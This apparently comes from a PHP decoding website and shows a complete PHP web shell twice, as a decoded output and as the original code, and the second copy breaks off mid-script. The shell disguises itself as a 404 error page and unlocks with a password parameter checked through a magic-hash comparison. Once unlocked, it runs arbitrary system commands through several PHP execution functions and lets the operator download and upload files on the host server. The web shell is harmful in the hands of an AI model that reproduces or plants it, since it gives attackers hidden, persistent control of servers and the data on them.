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PHP Decode

<?php $messageAccess = "<html><head><style>body { display: flex; align-items: center; jus..

Decoded Output download

<?php 
$messageAccess = "<html><head><style>body { display: flex; align-items: center; justify-content: center; height: 100vh; }</style></head><body><div style='display: block ! important'><h1 style='font-size: 4rem; text-align: center;'>Error 404</h1></styldiv><div><h2 style='font-size: 2rem; text-align: center;'>Not found</h2></div></body></html>"; 
 
 
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['couvent'])) { 
    $password = $_GET['couvent']; 
    $target = 'aa3OFF9m'; 
    if ($password === $target) { 
        die('You are not allowed to enter the convent'); 
    }  
    $hashedPassword = sha1($password); 
    if ($hashedPassword == 0e36977786278517984959260394024281014729) { 
        // Action when password matches the hash 
    } else { 
        echo $messageAccess; 
        http_response_code(404); 
        exit; 
    } 
} elseif ($_SERVER['REQUEST_METHOD'] === 'GET' && !isset($_GET['couvent'])) { 
    echo $messageAccess; 
    echo $pm ; 
    exit; 
} 
?> 
<?php 
 
$SHELL_CONFIG = [ 
    'username' => 'uni', 
    'hostname' => 'shell', 
]; 
 
function expandPath($path) { 
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) { 
        exec("echo $match[1]", $stdout); 
        return $stdout[0] . $match[2]; 
    } 
    return $path; 
} 
 
function allFunctionExist($list = []) { 
    foreach ($list as $entry) { 
        if (!function_exists($entry)) { 
            return false; 
        } 
    } 
    return true; 
} 
 
function executeCommand($cmd) { 
    $output = ''; 
    if (function_exists('exec')) { 
        exec($cmd, $output); 
        $output = implode("
", $output); 
    } else if (function_exists('shell_exec')) { 
        $output = shell_exec($cmd); 
    } else if (allFunctionExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) { 
        ob_start(); 
        system($cmd); 
        $output = ob_get_contents(); 
        ob_end_clean(); 
    } else if (allFunctionExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) { 
        ob_start(); 
        passthru($cmd); 
        $output = ob_get_contents(); 
        ob_end_clean(); 
    } else if (allFunctionExist(['popen', 'feof', 'fread', 'pclose'])) { 
        $handle = popen($cmd, 'r'); 
        while (!feof($handle)) { 
            $output .= fread($handle, 4096); 
        } 
        pclose($handle); 
    } else if (allFunctionExist(['proc_open', 'stream_get_contents', 'proc_close'])) { 
        $handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes); 
        $output = stream_get_contents($pipes[1]); 
        proc_close($handle); 
    } 
    return $output; 
} 
 
function isRunningWindows() { 
    return stripos(PHP_OS, "WIN") === 0; 
} 
 
function featureShell($cmd, $cwd) { 
    $stdout = ""; 
 
    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) { 
        chdir(expandPath("~")); 
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { 
        chdir($cwd); 
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); 
        chdir(expandPath($match[1])); 
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { 
        chdir($cwd); 
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); 
        return featureDownload($match[1]); 
    } else { 
        chdir($cwd); 
        $stdout = executeCommand($cmd); 
    } 
 
    return array( 
        "stdout" => base64_encode($stdout), 
        "cwd" => base64_encode(getcwd()) 
    ); 
} 
 
function featurePwd() { 
    return array("cwd" => base64_encode(getcwd())); 
} 
 
function featureHint($fileName, $cwd, $type) { 
    chdir($cwd); 
    if ($type == 'cmd') { 
        $cmd = "compgen -c $fileName"; 
    } else { 
        $cmd = "compgen -f $fileName"; 
    } 
    $cmd = "/bin/bash -c \"$cmd\""; 
    $files = explode("
", shell_exec($cmd)); 
    foreach ($files as &$filename) { 
        $filename = base64_encode($filename); 
    } 
    return array( 
        'files' => $files, 
    ); 
} 
 
function featureDownload($filePath) { 
    $file = @file_get_contents($filePath); 
    if ($file === FALSE) { 
        return array( 
            'stdout' => base64_encode('File not found / no read permission.'), 
            'cwd' => base64_encode(getcwd()) 
        ); 
    } else { 
        return array( 
            'name' => base64_encode(basename($filePath)), 
            'file' => base64_encode($file) 
        ); 
    } 
} 
 
function featureUpload($path, $file, $cwd) { 
    chdir($cwd); 
    $f = @fopen($path, 'wb'); 
    if ($f === FALSE) { 
        return array( 
            'stdout' => base64_encode('Invalid path / no write permission.'), 
            'cwd' => base64_encode(getcwd()) 
        ); 
    } else { 
        fwrite($f, base64_decode($file)); 
        fclose($f); 
        return array( 
            'stdout' => base64_encode('Done.'), 
            'cwd' => base64_encode(getcwd()) 
        ); 
    } 
} 
 
function initShellConfig() { 
    global $SHELL_CONFIG; 
 
    if (isRunningWindows()) { 
        $username = getenv('USERNAME'); 
        if ($username !== false) { 
            $SHELL_CONFIG['username'] = $username; 
        } 
    } else { 
        $pwuid = posix_getpwuid(posix_geteuid()); 
        if ($pwuid !== false) { 
            $SHELL_CONFIG['username'] = $pwuid['name']; 
        } 
    } 
 
    $hostname = gethostname(); 
    if ($hostname !== false) { 
        $SHELL_CONFIG['hostname'] = $hostname; 
    } 
} 
 
if (isset($_GET["feature"])) { 
 
    $response = NULL; 
 
    switch ($_GET["feature"]) { 
        case "shell": 
            $cmd = $_POST['cmd']; 
            if (!preg_match('/2>/', $cmd)) { 
                $cmd .= ' 2>&1'; 
            } 
            $response = featureShell($cmd, $_POST["cwd"]); 
            break; 
        case "pwd": 
            $response = featurePwd(); 
            break; 
        case "hint": 
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); 
            break; 
        case 'upload': 
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); 
    } 
 
    header("Content-Type: application/json"); 
    echo json_encode($response); 
    die(); 
} else { 
    initShellConfig(); 
} 
 
?><!DOCTYPE html> 
 
<html> 
 
    <head> 
        <meta charset="UTF-8" /> 
        <title>uni@shell:~#</title> 
        <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 
        <style> 
            html, body { 
                margin: 0; 
                padding: 0; 
                background: #333; 
                color: #eee; 
                font-family: monospace; 
                width: 100vw; 
                height: 100vh; 
                overflow: hidden; 
            } 
 
            *::-webkit-scrollbar-track { 
                border-radius: 8px; 
                background-color: #353535; 
            } 
 
            *::-webkit-scrollbar { 
                width: 8px; 
                height: 8px; 
            } 
 
            *::-webkit-scrollbar-thumb { 
                border-radius: 8px; 
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); 
                background-color: #bcbcbc; 
            } 
 
            #shell { 
                background: #222; 
                box-shadow: 0 0 5px rgba(0, 0, 0, .3); 
                font-size: 10pt; 
                display: flex; 
                flex-direction: column; 
                align-items: stretch; 
                max-width: calc(100vw - 2 * var(--shell-margin)); 
                max-height: calc(100vh - 2 * var(--shell-margin)); 
                resize: both; 
                overflow: hidden; 
                width: 100%; 
                height: 100%; 
                margin: var(--shell-margin) auto; 
            } 
 
            #shell-content { 
                overflow: auto; 
                padding: 5px; 
                white-space: pre-wrap; 
                flex-grow: 1; 
            } 
 
            #shell-logo { 
                font-weight: bold; 
                color: #FF4180; 
                text-align: center; 
            } 
 
            :root { 
                --shell-margin: 25px; 
            } 
 
            @media (min-width: 1200px) { 
                :root { 
                    --shell-margin: 50px !important; 
                } 
            } 
 
            @media (max-width: 991px), 
                   (max-height: 600px) { 
                #shell-logo { 
                    font-size: 6px; 
                    margin: -25px 0; 
                } 
                :root { 
                    --shell-margin: 0 !important; 
                } 
                #shell { 
                    resize: none; 
                } 
            } 
 
            @media (max-width: 767px) { 
                #shell-input { 
                    flex-direction: column; 
                } 
            } 
 
            @media (max-width: 320px) { 
                #shell-logo { 
                    font-size: 5px; 
                } 
            } 
 
            .shell-prompt { 
                font-weight: bold; 
                color: #75DF0B; 
            } 
 
            .shell-prompt > span { 
                color: #1BC9E7; 
            } 
 
            #shell-input { 
                display: flex; 
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3); 
                border-top: rgba(255, 255, 255, .05) solid 1px; 
                padding: 10px 0; 
            } 
 
            #shell-input > label { 
                flex-grow: 0; 
                display: block; 
                padding: 0 5px; 
                height: 30px; 
                line-height: 30px; 
            } 
 
            #shell-input #shell-cmd { 
                height: 30px; 
                line-height: 30px; 
                border: none; 
                background: transparent; 
                color: #eee; 
                font-family: monospace; 
                font-size: 10pt; 
                width: 100%; 
                align-self: center; 
                box-sizing: border-box; 
            } 
 
            #shell-input div { 
                flex-grow: 1; 
                align-items: stretch; 
            } 
 
            #shell-input input { 
                outline: none; 
            } 
        </style> 
 
        <script> 
            var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>; 
            var CWD = null; 
            var commandHistory = []; 
            var historyPosition = 0; 
            var eShellCmdInput = null; 
            var eShellContent = null; 
 
            function _insertCommand(command) { 
                eShellContent.innerHTML += "

"; 
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> '; 
                eShellContent.innerHTML += escapeHtml(command); 
                eShellContent.innerHTML += "
"; 
                eShellContent.scrollTop = eShellContent.scrollHeight; 
            } 
 
            function _insertStdout(stdout) { 
                eShellContent.innerHTML += escapeHtml(stdout); 
                eShellContent.scrollTop = eShellContent.scrollHeight; 
            } 
 
            function _defer(callback) { 
                setTimeout(callback, 0); 
            } 
 
            function featureShell(command) { 
 
                _insertCommand(command); 
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) { 
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]); 
                } else if (/^\s*clear\s*$/.test(command)) { 
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer 
                    eShellContent.innerHTML = ''; 
                } else { 
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) { 
                        if (response.hasOwnProperty('file')) { 
                            featureDownload(atob(response.name), response.file) 
                        } else { 
                            _insertStdout(atob(response.stdout)); 
                            updateCwd(atob(response.cwd)); 
                        } 
                    }); 
                } 
            } 
 
            function featureHint() { 
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete 
 
                function _requestCallback(data) { 
                    if (data.files.length <= 1) return;  // no completion 
                    data.files = data.files.map(function(file){ 
                        return atob(file); 
                    }); 
                    if (data.files.length === 2) { 
                        if (type === 'cmd') { 
                            eShellCmdInput.value = data.files[0]; 
                        } else { 
                            var currentValue = eShellCmdInput.value; 
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]); 
                        } 
                    } else { 
                        _insertCommand(eShellCmdInput.value); 
                        _insertStdout(data.files.join("
")); 
                    } 
                } 
 
                var currentCmd = eShellCmdInput.value.split(" "); 
                var type = (currentCmd.length === 1) ? "cmd" : "file"; 
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1]; 
 
                makeRequest( 
                    "?feature=hint", 
                    { 
                        filename: fileName, 
                        cwd: CWD, 
                        type: type 
                    }, 
                    _requestCallback 
                ); 
 
            } 
 
            function featureDownload(name, file) { 
                var element = document.createElement('a'); 
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file); 
                element.setAttribute('download', name); 
                element.style.display = 'none'; 
                document.body.appendChild(element); 
                element.click(); 
                document.body.removeChild(element); 
                _insertStdout('Done.'); 
            } 
 
            function featureUpload(path) { 
                var element = document.createElement('input'); 
                element.setAttribute('type', 'file'); 
                element.style.display = 'none'; 
                document.body.appendChild(element); 
                element.addEventListener('change', function () { 
                    var promise = getBase64(element.files[0]); 
                    promise.then(function (file) { 
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) { 
                            _insertStdout(atob(response.stdout)); 
                            updateCwd(atob(response.cwd)); 
                        }); 
                    }, function () { 
                        _insertStdout('An unknown client-side error occurred.'); 
                    }); 
                }); 
                element.click(); 
                document.body.removeChild(element); 
            } 
 
            function getBase64(file, onLoadCallback) { 
                return new Promise(function(resolve, reject) { 
                    var reader = new FileReader(); 
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); }; 
                    reader.onerror = reject; 
                    reader.readAsDataURL(file); 
                }); 
            } 
 
            function genPrompt(cwd) { 
                cwd = cwd || "~"; 
                var shortCwd = cwd; 
                if (cwd.split("/").length > 3) { 
                    var splittedCwd = cwd.split("/"); 
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1]; 
                } 
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#"; 
            } 
 
            function updateCwd(cwd) { 
                if (cwd) { 
                    CWD = cwd; 
                    _updatePrompt(); 
                    return; 
                } 
                makeRequest("?feature=pwd", {}, function(response) { 
                    CWD = atob(response.cwd); 
                    _updatePrompt(); 
                }); 
 
            } 
 
            function escapeHtml(string) { 
                return string 
                    .replace(/&/g, "&amp;") 
                    .replace(/</g, "&lt;") 
                    .replace(/>/g, "&gt;"); 
            } 
 
            function _updatePrompt() { 
                var eShellPrompt = document.getElementById("shell-prompt"); 
                eShellPrompt.innerHTML = genPrompt(CWD); 
            } 
 
            function _onShellCmdKeyDown(event) { 
                switch (event.key) { 
                    case "Enter": 
                        featureShell(eShellCmdInput.value); 
                        insertToHistory(eShellCmdInput.value); 
                        eShellCmdInput.value = ""; 
                        break; 
                    case "ArrowUp": 
                        if (historyPosition > 0) { 
                            historyPosition--; 
                            eShellCmdInput.blur(); 
                            eShellCmdInput.value = commandHistory[historyPosition]; 
                            _defer(function() { 
                                eShellCmdInput.focus(); 
                            }); 
                        } 
                        break; 
                    case "ArrowDown": 
                        if (historyPosition >= commandHistory.length) { 
                            break; 
                        } 
                        historyPosition++; 
                        if (historyPosition === commandHistory.length) { 
                            eShellCmdInput.value = ""; 
                        } else { 
                            eShellCmdInput.blur(); 
                            eShellCmdInput.focus(); 
                            eShellCmdInput.value = commandHistory[historyPosition]; 
                        } 
                        break; 
                    case 'Tab': 
                        event.preventDefault(); 
                        featureHint(); 
                        break; 
                } 
            } 
 
            function insertToHistory(cmd) { 
                commandHistory.push(cmd); 
                historyPosition = commandHistory.length; 
            } 
 
            function makeRequest(url, params, callback) { 
                function getQueryString() { 
                    var a = []; 
                    for (var key in params) { 
                        if (params.hasOwnProperty(key)) { 
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key])); 
                        } 
                    } 
                    return a.join("&"); 
                } 
                var xhr = new XMLHttpRequest(); 
                xhr.open("POST", url, true); 
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
                xhr.onreadystatechange = function() { 
                    if (xhr.readyState === 4 && xhr.status === 200) { 
                        try { 
                            var responseJson = JSON.parse(xhr.responseText); 
                            callback(responseJson); 
                        } catch (error) { 
                            alert("Error while parsing response: " + error); 
                        } 
                    } 
                }; 
                xhr.send(getQueryString()); 
            } 
 
            document.onclick = function(event) { 
                event = event || window.event; 
                var selection = window.getSelection(); 
                var target = event.target || event.srcElement; 
 
                if (target.tagName === "SELECT") { 
                    return; 
                } 
 
                if (!selection.toString()) { 
                    eShellCmdInput.focus(); 
                } 
            }; 
 
            window.onload = function() { 
                eShellCmdInput = document.getElementById("shell-cmd"); 
                eShellContent = document.getElementById("shell-content"); 
                updateCwd(); 
                eShellCmdInput.focus(); 
            }; 
        </script> 
    </head> 
 
    <body> 
        <div id="shell"> 
            <pre id="shell-content"> 
                <div id="shell-logo"> 
   SSSSSSSSSSSSSSS HHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEELLLLLLLLLLL             LLLLLLLLLLL              
 SS:::::::::::::::SH:::::::H     H:::::::HE::::::::::::::::::::EL:::::::::L             L:::::::::L              
S:::::SSSSSS::::::SH:::::::H     H:::::::HE::::::::::::::::::::EL:::::::::L             L:::::::::L              
S:::::S     SSSSSSSHH::::::H     H::::::HHEE::::::EEEEEEEEE::::ELL:::::::LL             LL:::::::LL              
S:::::S              H:::::H     H:::::H    E:::::E       EEEEEE  L:::::L                 L:::::L                
S:::::S              H:::::H     H:::::H    E:::::E               L:::::L                 L:::::L                
 S::::SSSS           H::::::HHHHH::::::H    E::::::EEEEEEEEEE     L:::::L                 L:::::L                
  SS::::::SSSSS      H:::::::::::::::::H    E:::::::::::::::E     L:::::L                 L:::::L                
    SSS::::::::SS    H:::::::::::::::::H    E:::::::::::::::E     L:::::L                 L:::::L                
       SSSSSS::::S   H::::::HHHHH::::::H    E::::::EEEEEEEEEE     L:::::L                 L:::::L                
            S:::::S  H:::::H     H:::::H    E:::::E               L:::::L                 L:::::L                
            S:::::S  H:::::H     H:::::H    E:::::E       EEEEEE  L:::::L         LLLLLL  L:::::L         LLLLLL 
SSSSSSS     S:::::SHH::::::H     H::::::HHEE::::::EEEEEEEE:::::ELL:::::::LLLLLLLLL:::::LLL:::::::LLLLLLLLL:::::L 
S::::::SSSSSS:::::SH:::::::H     H:::::::HE::::::::::::::::::::EL::::::::::::::::::::::LL::::::::::::::::::::::L 
S:::::::::::::::SS H:::::::H     H:::::::HE::::::::::::::::::::EL::::::::::::::::::::::LL::::::::::::::::::::::L 
 SSSSSSSSSSSSSSS   HHHHHHHHH     HHHHHHHHHEEEEEEEEEEEEEEEEEEEEEELLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL 
                </div> 
            </pre> 
            <div id="shell-input"> 
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label> 
                <div> 
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/> 
                </div> 
            </div> 
        </div> 
    </body> 
 
</html>

Did this file decode correctly?

Original Code

<?php
$messageAccess = "<html><head><style>body { display: flex; align-items: center; justify-content: center; height: 100vh; }</style></head><body><div style='display: block ! important'><h1 style='font-size: 4rem; text-align: center;'>Error 404</h1></styldiv><div><h2 style='font-size: 2rem; text-align: center;'>Not found</h2></div></body></html>";


if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['couvent'])) {
    $password = $_GET['couvent'];
    $target = 'aa3OFF9m';
    if ($password === $target) {
        die('You are not allowed to enter the convent');
    } 
    $hashedPassword = sha1($password);
    if ($hashedPassword == 0e36977786278517984959260394024281014729) {
        // Action when password matches the hash
    } else {
        echo $messageAccess;
        http_response_code(404);
        exit;
    }
} elseif ($_SERVER['REQUEST_METHOD'] === 'GET' && !isset($_GET['couvent'])) {
    echo $messageAccess;
    echo $pm ;
    exit;
}
?>
<?php

$SHELL_CONFIG = [
    'username' => 'uni',
    'hostname' => 'shell',
];

function expandPath($path) {
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
        exec("echo $match[1]", $stdout);
        return $stdout[0] . $match[2];
    }
    return $path;
}

function allFunctionExist($list = []) {
    foreach ($list as $entry) {
        if (!function_exists($entry)) {
            return false;
        }
    }
    return true;
}

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd, $output);
        $output = implode("\n", $output);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else if (allFunctionExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
        ob_start();
        system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
        ob_start();
        passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(['popen', 'feof', 'fread', 'pclose'])) {
        $handle = popen($cmd, 'r');
        while (!feof($handle)) {
            $output .= fread($handle, 4096);
        }
        pclose($handle);
    } else if (allFunctionExist(['proc_open', 'stream_get_contents', 'proc_close'])) {
        $handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes);
        $output = stream_get_contents($pipes[1]);
        proc_close($handle);
    }
    return $output;
}

function isRunningWindows() {
    return stripos(PHP_OS, "WIN") === 0;
}

function featureShell($cmd, $cwd) {
    $stdout = "";

    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
        chdir(expandPath("~"));
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir(expandPath($match[1]));
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        $stdout = executeCommand($cmd);
    }

    return array(
        "stdout" => base64_encode($stdout),
        "cwd" => base64_encode(getcwd())
    );
}

function featurePwd() {
    return array("cwd" => base64_encode(getcwd()));
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    foreach ($files as &$filename) {
        $filename = base64_encode($filename);
    }
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => base64_encode('File not found / no read permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        return array(
            'name' => base64_encode(basename($filePath)),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => base64_encode('Invalid path / no write permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => base64_encode('Done.'),
            'cwd' => base64_encode(getcwd())
        );
    }
}

function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
        $username = getenv('USERNAME');
        if ($username !== false) {
            $SHELL_CONFIG['username'] = $username;
        }
    } else {
        $pwuid = posix_getpwuid(posix_geteuid());
        if ($pwuid !== false) {
            $SHELL_CONFIG['username'] = $pwuid['name'];
        }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
        $SHELL_CONFIG['hostname'] = $hostname;
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
} else {
    initShellConfig();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>uni@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
                width: 100vw;
                height: 100vh;
                overflow: hidden;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
                max-width: calc(100vw - 2 * var(--shell-margin));
                max-height: calc(100vh - 2 * var(--shell-margin));
                resize: both;
                overflow: hidden;
                width: 100%;
                height: 100%;
                margin: var(--shell-margin) auto;
            }

            #shell-content {
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            :root {
                --shell-margin: 25px;
            }

            @media (min-width: 1200px) {
                :root {
                    --shell-margin: 50px !important;
                }
            }

            @media (max-width: 991px),
                   (max-height: 600px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }
                :root {
                    --shell-margin: 0 !important;
                }
                #shell {
                    resize: none;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
                padding: 10px 0;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
                box-sizing: border-box;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(atob(response.name), response.file)
                        } else {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    data.files = data.files.map(function(file){
                        return atob(file);
                    });
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = atob(response.cwd);
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
